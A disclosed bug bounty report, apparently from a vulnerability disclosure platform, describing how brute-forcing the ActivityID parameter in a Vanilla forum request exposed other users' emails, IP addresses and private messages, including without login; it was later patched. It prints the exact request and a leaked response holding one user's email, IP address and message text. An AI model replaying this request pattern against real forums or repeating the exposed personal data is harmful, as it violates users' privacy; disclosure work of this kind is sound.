



16

Forum Users Information Disclosure

Share:      State Resolved (Closed)Disclosed **June 17, 2018 12:40am +0800**Reported To [Vanilla](#)Asset ***.vanillaforums.com**
(Domain)

Weakness Information Disclosure

Bounty **\$300**Severity High (7 ~ 8.9)Participants   Visibility **Disclosed (Full)**[Collapse](#)

TIMELINE

**1000** submitted a report to [Vanilla](#).

Mar 2nd (10 months ago)

Summary:

An unauthorized (even unauthenticated) user is able to view some private information about forum users. this information includes: email address (even if the user not allows it), IP address of the user, data of some of the private messages between two users.

Description:

by brute forcing ActivityIDs in the forum (I know about the rate limit of the bruteforce but it was still possible to get so many private infos, though it took so much time!), information of that activity (IP address, type of activity and some data) are sent back to the unauthorized user.

Steps to reproduce:

1. sign in the forum and send a comment on your dashboard/activities . the request should look like this:

```
POST /dashboard/activity/comment HTTP/1.1
```

```
Host: 9thsecurity.vanillaforums.com
```

```
User-Agent:
```

```
Accept: application/json, text/javascript, /; q=0.01
```

```
Accept-Language: en-US,en;q=0.5
```

```
Accept-Encoding: gzip, deflate
```

```
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
```

```
X-Requested-With: XMLHttpRequest
```

```
Referer:
```

```
Content-Length: 132
```

```
Cookie:
```

```
Connection: close
```

```
TransientKey=LgFniB9ii5sAgDbG&hpt=&ActivityID=1021&Return=activity%2Fpost%2F127'&Body=anything&DeliveryType=VIEW&DeliveryMethod=JSON
```

- 2.as you see there is a parameter called "ActivityID" , change the value and the relevant activity info will be sent to you in the response. for instance for the above ActivityID, part of response is like this:

```
{
  "Activity": {
    "ActivityID": 1021,
    "ActivityTypeID": 28,
    "NotifyUserID": 78,
    "ActivityUserID": 12,
    "RegardingUserID": null,
    "Photo": "https://us.v-cdn.net/5022309/uploads/userpics/870/nQ2FNQ1B5RDRG.jpg",
    "HeadlineFormat": "{ActivityUserID,User} sent you a <a href='{Url,html}'>message</a>",
```

"Story": "Hello Emeketos, what is your handle name for RSI? Just need to know for updating shin catalog. "

"Format": "Html",

"Route": "/messages/61#285",

"RecordType": "Conversation",

"RecordID": 61,

"InsertUserID": 12,

"DateInserted": "2014-10-04 06:05:35",

"InsertIPAddress": "209.131.62.115",

"DateUpdated": "2014-10-04 06:05:35",

"Notified": 2,

"Emailed": 2,

"Data": [],

"FullHeadline": "%1\$s sent you a %8\$s.",

"ProfileHeadline": "%1\$s sent you a %8\$s.",

"AllowComments": 0,

"ShowIcon": 0,

"RouteCode": "message",

"ActivityType": "ConversationMessage",

"ActivityName": "default",

"ActivityEmail": "ceravix@aol.com",

"ActivityGender": "u",

"ActivityPhoto": "https://us.v-cdn.net/5022309/uploads/userpics/870/nQ2FNQ1B5RDRG.jpg",

"RegardingName": null,

"RegardingEmail": null,

"RegardingGender": null,

"RegardingPhoto": null,

"PhotoUrl": "http://9thsecurity.vanillaforums.com/messages/61#285",

"Url": "http://9thsecurity.vanillaforums.com/messages/61#285",

"Headline": "default sent you a message"

},

this is message from a user called default. as you see the email address, IP address, the gender and the context of her message is shown to us. however if you try to open the message url directly, you'll see the error saying you don't have permission to view this.

Anything else we should know?

there is no need to be logged in to send this request and get the response. I logged out of my account and I could still get the result. session management problem also exist.

also, I attached some of the responses I got.

Impact

the leaked information is highly sensitive and threatens users privacy.

5 attachments:

F268375: [vanilla-1.png](#)

F268376: [vanilla-2.png](#)

F268377: [vanilla-3.png](#)

F268378: [vanilla5.png](#)

F268379: [vanilla-6.png](#)



dexterr changed the status to ○ **Triaged**.

Mar 3rd (10 months ago)

Howdy, thank you for submitting this report. We have triaged it as a legitimate exploit and we'll prepare a patch as soon as possible.



1000 posted a comment.

Mar 5th (10 months ago)

hey, any updates?



Vanilla rewarded 1000 with a **\$300** bounty.

Mar 17th (10 months ago)



1000 posted a comment.

Mar 17th (10 months ago)

thanks for the bounty! its been a pleasure working with Vanilla.



dexterr closed the report and changed the status to ○ **Resolved**.

May 15th (8 months ago)

This has been patched and deployed. Closing this report.

○ — 1000 requested to disclose this report.

Your session expired, please sign in again to continue. ☒

May 18th (8 months ago)

○ — This report has been disclosed.

Jun 17th (7 months ago)